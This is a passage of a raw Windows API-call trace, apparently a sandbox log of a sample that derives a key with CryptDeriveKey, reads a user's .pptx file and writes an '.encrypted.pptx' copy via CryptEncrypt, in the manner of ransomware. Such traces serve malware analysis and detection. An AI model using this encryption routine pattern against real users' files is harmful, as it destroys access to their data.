hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.118] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.118] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.118] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.118] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.119] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.119] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.119] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.119] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.119] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.119] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.120] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.120] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.120] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.120] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.120] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b6c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.121] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.121] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.121] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.121] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.121] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0026.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.123] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\_z34wum36pnqy_aka.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.123] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.123] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.123] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0026.123] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.encrypted.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\_z34wum36pnqy_aka.encrypted.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.124] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.124] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.124] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.124] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.125] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.125] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.126] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7408, lpOverlapped=0x0) returned 1 [0026.127] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.130] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.130] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.130] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.130] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.131] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.131] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.131] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.131] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.131] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.131] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.132] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.132] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.132] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.132] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.132] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.132] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.133] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.133] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.135] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.135] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17408, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17410) returned 1 [0026.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) 